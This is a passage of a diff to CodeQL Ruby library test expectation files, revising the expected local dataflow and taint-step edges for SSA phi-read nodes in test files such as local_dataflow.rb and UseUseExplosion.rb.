 | local_dataflow.rb:137:25:137:25 | [post] x | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:25:137:25 | x | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:25:137:25 | x | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) |
-| local_dataflow.rb:141:5:145:7 | SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self |
-| local_dataflow.rb:141:5:145:7 | SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x |
 | local_dataflow.rb:141:8:141:14 | [false] ! ... | local_dataflow.rb:141:8:141:37 | [false] ... \|\| ... |
 | local_dataflow.rb:141:8:141:14 | [false] ! ... | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... |
-| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) | local_dataflow.rb:141:8:141:37 | SSA phi read(self) |
-| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) | local_dataflow.rb:141:8:141:37 | SSA phi read(x) |
+| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) |
+| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:8:141:14 | [true] ! ... | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... |
-| local_dataflow.rb:141:8:141:37 | SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) |
-| local_dataflow.rb:141:8:141:37 | SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:9:141:14 | [post] self | local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) |
 | local_dataflow.rb:141:9:141:14 | [post] self | local_dataflow.rb:141:20:141:25 | self |
 | local_dataflow.rb:141:9:141:14 | self | local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) |
@@ -3547,17 +2908,15 @@
 | local_dataflow.rb:141:13:141:13 | x | local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:13:141:13 | x | local_dataflow.rb:141:24:141:24 | x |
 | local_dataflow.rb:141:19:141:37 | [false] ( ... ) | local_dataflow.rb:141:8:141:37 | [false] ... \|\| ... |
-| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | local_dataflow.rb:141:8:141:37 | SSA phi read(self) |
-| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | local_dataflow.rb:141:8:141:37 | SSA phi read(x) |
+| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) |
+| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:19:141:37 | [true] ( ... ) | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... |
-| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | local_dataflow.rb:141:20:141:36 | SSA phi read(self) |
-| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | local_dataflow.rb:141:20:141:36 | SSA phi read(x) |
+| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self |
+| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x |
 | local_dataflow.rb:141:20:141:25 | [post] self | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) |
 | local_dataflow.rb:141:20:141:25 | [post] self | local_dataflow.rb:141:31:141:36 | self |
 | local_dataflow.rb:141:20:141:25 | self | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) |
 | local_dataflow.rb:141:20:141:25 | self | local_dataflow.rb:141:31:141:36 | self |
-| local_dataflow.rb:141:20:141:36 | SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self |
-| local_dataflow.rb:141:20:141:36 | SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x |
 | local_dataflow.rb:141:20:141:36 | [false] ... && ... | local_dataflow.rb:141:19:141:37 | [false] ( ... ) |
 | local_dataflow.rb:141:20:141:36 | [true] ... && ... | local_dataflow.rb:141:19:141:37 | [true] ( ... ) |
 | local_dataflow.rb:141:24:141:24 | [post] x | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) |
@@ -3565,8 +2924,8 @@
 | local_dataflow.rb:141:24:141:24 | x | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:24:141:24 | x | local_dataflow.rb:141:35:141:35 | x |
 | local_dataflow.rb:141:30:141:36 | [false] ! ... | local_dataflow.rb:141:20:141:36 | [false] ... && ... |
-| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) | local_dataflow.rb:141:20:141:36 | SSA phi read(self) |
-| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | local_dataflow.rb:141:20:141:36 | SSA phi read(x) |
+| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self |
+| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x |
 | local_dataflow.rb:141:30:141:36 | [true] ! ... | local_dataflow.rb:141:20:141:36 | [true] ... && ... |
 | local_dataflow.rb:141:31:141:36 | [post] self | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) |
 | local_dataflow.rb:141:31:141:36 | [post] self | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) |
@@ -3576,33 +2935,27 @@
 | local_dataflow.rb:141:35:141:35 | [post] x | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:35:141:35 | x | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:35:141:35 | x | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) |
-| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | local_dataflow.rb:141:5:145:7 | SSA phi read(self) |
-| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | local_dataflow.rb:141:5:145:7 | SSA phi read(x) |
+| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self |
+| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x |
 | local_dataflow.rb:141:38:142:9 | then ... | local_dataflow.rb:141:5:145:7 | if ... |
 | local_dataflow.rb:142:7:142:9 | nil | local_dataflow.rb:141:38:142:9 | then ... |
-| local_dataflow.rb:143:5:144:16 | SSA phi read(self) | local_dataflow.rb:143:5:144:16 | [input] SSA phi read(self) |
-| local_dataflow.rb:143:5:144:16 | SSA phi read(x) | local_dataflow.rb:143:5:144:16 | [input] SSA phi read(x) |
-| local_dataflow.rb:143:5:144:16 | [input] SSA phi read(self) | local_dataflow.rb:141:5:145:7 | SSA phi read(self) |
-| local_dataflow.rb:143:5:144:16 | [input] SSA phi read(x) | local_dataflow.rb:141:5:145:7 | SSA phi read(x) |
 | local_dataflow.rb:143:5:144:16 | elsif ... | local_dataflow.rb:141:5:145:7 | if ... |
-| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:26 | SSA phi read(self) |
-| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | local_dataflow.rb:143:11:143:26 | SSA phi read(x) |
+| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self |
+| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x |
 | local_dataflow.rb:143:11:143:16 | [post] self | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:143:11:143:16 | [post] self | local_dataflow.rb:143:21:143:26 | self |
 | local_dataflow.rb:143:11:143:16 | call to use | local_dataflow.rb:143:11:143:26 | [false] ... \|\| ... |
 | local_dataflow.rb:143:11:143:16 | call to use | local_dataflow.rb:143:11:143:26 | [true] ... \|\| ... |
 | local_dataflow.rb:143:11:143:16 | self | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:143:11:143:16 | self | local_dataflow.rb:143:21:143:26 | self |
-| local_dataflow.rb:143:11:143:26 | SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self |
-| local_dataflow.rb:143:11:143:26 | SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x |
-| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) | local_dataflow.rb:143:5:144:16 | SSA phi read(self) |
-| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) | local_dataflow.rb:143:5:144:16 | SSA phi read(x) |
+| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self |
+| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x |
 | local_dataflow.rb:143:15:143:15 | [post] x | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) |
 | local_dataflow.rb:143:15:143:15 | [post] x | local_dataflow.rb:143:25:143:25 | x |
 | local_dataflow.rb:143:15:143:15 | x | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) |
 | local_dataflow.rb:143:15:143:15 | x | local_dataflow.rb:143:25:143:25 | x |
-| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:26 | SSA phi read(self) |
-| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | local_dataflow.rb:143:11:143:26 | SSA phi read(x) |
+| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self |
+| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x |
 | local_dataflow.rb:143:21:143:26 | [post] self | local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) |
 | local_dataflow.rb:143:21:143:26 | [post] self | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) |
 | local_dataflow.rb:143:21:143:26 | call to use | local_dataflow.rb:143:11:143:26 | [false] ... \|\| ... |
@@ -3613,14 +2966,12 @@
 | local_dataflow.rb:143:25:143:25 | [post] x | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:143:25:143:25 | x | local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:143:25:143:25 | x | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) |
-| local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) | local_dataflow.rb:143:5:144:16 | SSA phi read(self) |
-| local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) | local_dataflow.rb:143:5:144:16 | SSA phi read(x) |
 | local_dataflow.rb:143:27:144:16 | then ... | local_dataflow.rb:143:5:144:16 | elsif ... |
-| local_dataflow.rb:144:11:144:16 | [post] self | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) |
+| local_dataflow.rb:144:11:144:16 | [post] self | local_dataflow.rb:147:5:147:10 | self |
 | local_dataflow.rb:144:11:144:16 | call to use | local_dataflow.rb:143:27:144:16 | then ... |
-| local_dataflow.rb:144:11:144:16 | self | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) |
-| local_dataflow.rb:144:15:144:15 | [post] x | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) |
-| local_dataflow.rb:144:15:144:15 | x | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) |
+| local_dataflow.rb:144:11:144:16 | self | local_dataflow.rb:147:5:147:10 | self |
+| local_dataflow.rb:144:15:144:15 | [post] x | local_dataflow.rb:147:9:147:9 | x |
+| local_dataflow.rb:144:15:144:15 | x | local_dataflow.rb:147:9:147:9 | x |
 | local_dataflow.rb:147:5:147:10 | [post] self | local_dataflow.rb:148:5:148:10 | self |
 | local_dataflow.rb:147:5:147:10 | self | local_dataflow.rb:148:5:148:10 | self |
 | local_dataflow.rb:147:9:147:9 | [post] x | local_dataflow.rb:148:9:148:9 | x |
diff --git a/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected b/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected
index a90c65dab24e..208a012ff65b 100644
--- a/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected
+++ b/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected
@@ -103,7 +103,6 @@
 | UseUseExplosion.rb:19:9:19:9 | x | UseUseExplosion.rb:20:3695:20:3695 | x |
 | UseUseExplosion.rb:19:13:19:13 | 0 | UseUseExplosion.rb:19:9:19:9 | x |
 | UseUseExplosion.rb:19:13:19:13 | 0 | UseUseExplosion.rb:19:9:19:13 | ... = ... |
-| UseUseExplosion.rb:20:9:20:3700 | SSA phi read(self) | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | UseUseExplosion.rb:21:2111:21:2111 | x |
 | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | UseUseExplosion.rb:21:2127:21:2127 | x |
 | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | UseUseExplosion.rb:21:2143:21:2143 | x |
@@ -212,11 +211,7 @@
 | UseUseExplosion.rb:20:13:20:23 | ... > ... | UseUseExplosion.rb:20:12:20:24 | [false] ( ... ) |
 | UseUseExplosion.rb:20:13:20:23 | ... > ... | UseUseExplosion.rb:20:12:20:24 | [true] ( ... ) |
 | UseUseExplosion.rb:20:21:20:23 | 100 | UseUseExplosion.rb:20:13:20:23 | ... > ... |
-| UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(self) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(self) |
-| UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(x) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:26:20:3684 | then ... | UseUseExplosion.rb:20:9:20:3700 | if ... |
-| UseUseExplosion.rb:20:31:20:3684 | SSA phi read(self) | UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:31:20:3684 | SSA phi read(x) | UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:31:20:3684 | if ... | UseUseExplosion.rb:20:26:20:3684 | then ... |
 | UseUseExplosion.rb:20:35:20:39 | @prop | UseUseExplosion.rb:20:35:20:44 | ... > ... |
 | UseUseExplosion.rb:20:35:20:39 | [post] self | UseUseExplosion.rb:20:56:20:60 | self |
@@ -226,11 +221,7 @@
 | UseUseExplosion.rb:20:35:20:44 | ... > ... | UseUseExplosion.rb:20:34:20:45 | [false] ( ... ) |
 | UseUseExplosion.rb:20:35:20:44 | ... > ... | UseUseExplosion.rb:20:34:20:45 | [true] ( ... ) |
 | UseUseExplosion.rb:20:43:20:44 | 99 | UseUseExplosion.rb:20:35:20:44 | ... > ... |
-| UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(self) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(self) |
-| UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(x) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(x) |
 | UseUseExplosion.rb:20:47:20:3668 | then ... | UseUseExplosion.rb:20:31:20:3684 | if ... |
-| UseUseExplosion.rb:20:52:20:3668 | SSA phi read(self) | UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:52:20:3668 | SSA phi read(x) | UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:52:20:3668 | if ... | UseUseExplosion.rb:20:47:20:3668 | then ... |
 | UseUseExplosion.rb:20:56:20:60 | @prop | UseUseExplosion.rb:20:56:20:65 | ... > ... |
 | UseUseExplosion.rb:20:56:20:60 | [post] self | UseUseExplosion.rb:20:77:20:81 | self |
@@ -240,11 +231,7 @@
 | UseUseExplosion.rb:20:56:20:65 | ... > ... | UseUseExplosion.rb:20:55:20:66 | [false] ( ... ) |
 | UseUseExplosion.rb:20:56:20:65 | ... > ... | UseUseExplosion.rb:20:55:20:66 | [true] ( ... ) |
 | UseUseExplosion.rb:20:64:20:65 | 98 | UseUseExplosion.rb:20:56:20:65 | ... > ... |
-| UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(self) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(self) |
-| UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(x) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(x) |
 | UseUseExplosion.rb:20:68:20:3652 | then ... | UseUseExplosion.rb:20:52:20:3668 | if ... |
-| UseUseExplosion.rb:20:73:20:3652 | SSA phi read(self) | UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:73:20:3652 | SSA phi read(x) | UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:73:20:3652 | if ... | UseUseExplosion.rb:20:68:20:3652 | then ... |
 | UseUseExplosion.rb:20:77:20:81 | @prop | UseUseExplosion.rb:20:77:20:86 | ... > ... |
 | UseUseExplosion.rb:20:77:20:81 | [post] self | UseUseExplosion.rb:20:98:20:102 | self |
@@ -254,11 +241,7 @@
 | UseUseExplosion.rb:20:77:20:86 | ... > ... | UseUseExplosion.rb:20:76:20:87 | [false] ( ... ) |
 | UseUseExplosion.rb:20:77:20:86 | ... > ... | UseUseExplosion.rb:20:76:20:87 | [true] ( ... ) |
 | UseUseExplosion.rb:20:85:20:86 | 97 | UseUseExplosion.rb:20:77:20:86 | ... > ... |
-| UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(self) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(self) |
-| UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(x) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(x) |
 | UseUseExplosion.rb:20:89:20:3636 | then ... | UseUseExplosion.rb:20:73:20:3652 | if ... |
-| UseUseExplosion.rb:20:94:20:3636 | SSA phi read(self) | UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:94:20:3636 | SSA phi read(x) | UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:94:20:3636 | if ... | UseUseExplosion.rb:20:89:20:3636 | then ... |
 | UseUseExplosion.rb:20:98:20:102 | @prop | UseUseExplosion.rb:20:98:20:107 | ... > ... |
 | UseUseExplosion.rb:20:98:20:102 | [post] self | UseUseExplosion.rb:20:119:20:123 | self |
@@ -268,11 +251,7 @@
 | UseUseExplosion.rb:20:98:20:107 | ... > ... | UseUseExplosion.rb:20:97:20:108 | [false] ( ... ) |
 | UseUseExplosion.rb:20:98:20:107 | ... > ... | UseUseExplosion.rb:20:97:20:108 | [true] ( ... ) |
 | UseUseExplosion.rb:20:106:20:107 | 96 | UseUseExplosion.rb:20:98:20:107 | ... > ... |
-| UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(self) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(self) |
-| UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(x) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(x) |
 | UseUseExplosion.rb:20:110:20:3620 | then ... | UseUseExplosion.rb:20:94:20:3636 | if ... |
-| UseUseExplosion.rb:20:115:20:3620 | SSA phi read(self) | UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:115:20:3620 | SSA phi read(x) | UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:115:20:3620 | if ... | UseUseExplosion.rb:20:110:20:3620 | then ... |
 | UseUseExplosion.rb:20:119:20:123 | @prop | UseUseExplosion.rb:20:119:20:128 | ... > ... |
 | UseUseExplosion.rb:20:119:20:123 | [post] self | UseUseExplosion.rb:20:140:20:144 | self |
@@ -282,11 +261,7 @@
 | UseUseExplosion.rb:20:119:20:128 | ... > ... | UseUseExplosion.rb:20:118:20:129 | [false] ( ... ) |
 | UseUseExplosion.rb:20:119:20:128 | ... > ... | UseUseExplosion.rb:20:118:20:129 | [true] ( ... ) |
 | UseUseExplosion.rb:20:127:20:128 | 95 | UseUseExplosion.rb:20:119:20:128 | ... > ... |
-| UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(self) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(self) |
-| UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(x) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(x) |
 | UseUseExplosion.rb:20:131:20:3604 | then ... | UseUseExplosion.rb:20:115:20:3620 | if ... |
-| UseUseExplosion.rb:20:136:20:3604 | SSA phi read(self) | UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:136:20:3604 | SSA phi read(x) | UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:136:20:3604 | if ... | UseUseExplosion.rb:20:131:20:3604 | then ... |
 | UseUseExplosion.rb:20:140:20:144 | @prop | UseUseExplosion.rb:20:140:20:149 | ... > ... |
 | UseUseExplosion.rb:20:140:20:144 | [post] self | UseUseExplosion.rb:20:161:20:165 | self |
@@ -296,11 +271,7 @@
 | UseUseExplosion.rb:20:140:20:149 | ... > ... | UseUseExplosion.rb:20:139:20:150 | [false] ( ... ) |
 | UseUseExplosion.rb:20:140:20:149 | ... > ... | UseUseExplosion.rb:20:139:20:150 | [true] ( ... ) |
 | UseUseExplosion.rb:20:148:20:149 | 94 | UseUseExplosion.rb:20:140:20:149 | ... > ... |
-| UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(self) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(self) |
-| UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(x) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(x) |
 | UseUseExplosion.rb:20:152:20:3588 | then ... | UseUseExplosion.rb:20:136:20:3604 | if ... |
-| UseUseExplosion.rb:20:157:20:3588 | SSA phi read(self) | UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:157:20:3588 | SSA phi read(x) | UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:157:20:3588 | if ... | UseUseExplosion.rb:20:152:20:3588 | then ... |
 | UseUseExplosion.rb:20:161:20:165 | @prop | UseUseExplosion.rb:20:161:20:170 | ... > ... |
 | UseUseExplosion.rb:20:161:20:165 | [post] self | UseUseExplosion.rb:20:182:20:186 | self |
@@ -310,11 +281,7 @@
 | UseUseExplosion.rb:20:161:20:170 | ... > ... | UseUseExplosion.rb:20:160:20:171 | [false] ( ... ) |
 | UseUseExplosion.rb:20:161:20:170 | ... > ... | UseUseExplosion.rb:20:160:20:171 | [true] ( ... ) |
 | UseUseExplosion.rb:20:169:20:170 | 93 | UseUseExplosion.rb:20:161:20:170 | ... > ... |
-| UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(self) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(self) |
-| UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(x) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(x) |
 | UseUseExplosion.rb:20:173:20:3572 | then ... | UseUseExplosion.rb:20:157:20:3588 | if ... |
-| UseUseExplosion.rb:20:178:20:3572 | SSA phi read(self) | UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:178:20:3572 | SSA phi read(x) | UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:178:20:3572 | if ... | UseUseExplosion.rb:20:173:20:3572 | then ... |
 | UseUseExplosion.rb:20:182:20:186 | @prop | UseUseExplosion.rb:20:182:20:191 | ... > ... |
 | UseUseExplosion.rb:20:182:20:186 | [post] self | UseUseExplosion.rb:20:203:20:207 | self |
@@ -324,11 +291,7 @@
 | UseUseExplosion.rb:20:182:20:191 | ... > ... | UseUseExplosion.rb:20:181:20:192 | [false] ( ... ) |
 | UseUseExplosion.rb:20:182:20:191 | ... > ... | UseUseExplosion.rb:20:181:20:192 | [true] ( ... ) |
 | UseUseExplosion.rb:20:190:20:191 | 92 | UseUseExplosion.rb:20:182:20:191 | ... > ... |
-| UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(self) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(self) |
-| UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(x) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(x) |
 | UseUseExplosion.rb:20:194:20:3556 | then ... | UseUseExplosion.rb:20:178:20:3572 | if ... |
-| UseUseExplosion.rb:20:199:20:3556 | SSA phi read(self) | UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:199:20:3556 | SSA phi read(x) | UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:199:20:3556 | if ... | UseUseExplosion.rb:20:194:20:3556 | then ... |
 | UseUseExplosion.rb:20:203:20:207 | @prop | UseUseExplosion.rb:20:203:20:212 | ... > ... |
 | UseUseExplosion.rb:20:203:20:207 | [post] self | UseUseExplosion.rb:20:224:20:228 | self |
@@ -338,11 +301,7 @@
 | UseUseExplosion.rb:20:203:20:212 | ... > ... | UseUseExplosion.rb:20:202:20:213 | [false] ( ... ) |
 | UseUseExplosion.rb:20:203:20:212 | ... > ... | UseUseExplosion.rb:20:202:20:213 | [true] ( ... ) |
 | UseUseExplosion.rb:20:211:20:212 | 91 | UseUseExplosion.rb:20:203:20:212 | ... > ... |
-| UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(self) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(self) |
-| UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(x) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(x) |
 | UseUseExplosion.rb:20:215:20:3540 | then ... | UseUseExplosion.rb:20:199:20:3556 | if ... |
-| UseUseExplosion.rb:20:220:20:3540 | SSA phi read(self) | UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:220:20:3540 | SSA phi read(x) | UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:220:20:3540 | if ... | UseUseExplosion.rb:20:215:20:3540 | then ... |
 | UseUseExplosion.rb:20:224:20:228 | @prop | UseUseExplosion.rb:20:224:20:233 | ... > ... |
 | UseUseExplosion.rb:20:224:20:228 | [post] self | UseUseExplosion.rb:20:245:20:249 | self |
@@ -352,11 +311,7 @@
 | UseUseExplosion.rb:20:224:20:233 | ... > ... | UseUseExplosion.rb:20:223:20:234 | [false] ( ... ) |
 | UseUseExplosion.rb:20:224:20:233 | ... > ... | UseUseExplosion.rb:20:223:20:234 | [true] ( ... ) |
 | UseUseExplosion.rb:20:232:20:233 | 90 | UseUseExplosion.rb:20:224:20:233 | ... > ... |
-| UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(self) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(self) |
-| UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(x) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(x) |
 | UseUseExplosion.rb:20:236:20:3524 | then ... | UseUseExplosion.rb:20:220:20:3540 | if ... |
-| UseUseExplosion.rb:20:241:20:3524 | SSA phi read(self) | UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:241:20:3524 | SSA phi read(x) | UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:241:20:3524 | if ... | UseUseExplosion.rb:20:236:20:3524 | then ... |
 | UseUseExplosion.rb:20:245:20:249 | @prop | UseUseExplosion.rb:20:245:20:254 | ... > ... |
 | UseUseExplosion.rb:20:245:20:249 | [post] self | UseUseExplosion.rb:20:266:20:270 | self |
@@ -366,11 +321,7 @@
 | UseUseExplosion.rb:20:245:20:254 | ... > ... | UseUseExplosion.rb:20:244:20:255 | [false] ( ... ) |
 | UseUseExplosion.rb:20:245:20:254 | ... > ... | UseUseExplosion.rb:20:244:20:255 | [true] ( ... ) |
 | UseUseExplosion.rb:20:253:20:254 | 89 | UseUseExplosion.rb:20:245:20:254 | ... > ... |
-| UseUseExplosion.rb:20:257:20:3508 | [input] SSA phi read(self) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(self) |
-| UseUseExplosion.rb:20:257:20:3508 | [input] SSA phi read(x) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(x) |
 | UseUseExplosion.rb:20:257:20:3508 | then ... | UseUseExplosion.rb:20:241:20:3524 | if ... |
-| UseUseExplosion.rb:20:262:20:3508 | SSA phi read(self) | UseUseExplosion.rb:20:257:20:3508 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:262:20:3508 | SSA phi read(x) | UseUseExplosion.rb:20:257:20:3508 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:262:20:3508 | if ... | UseUseExplosion.rb:20:257:20:3508 | then ... |
 | UseUseExplosion.rb:20:266:20:270 | @prop | UseUseExplosion.rb:20:266:20:275 | ... > ... |
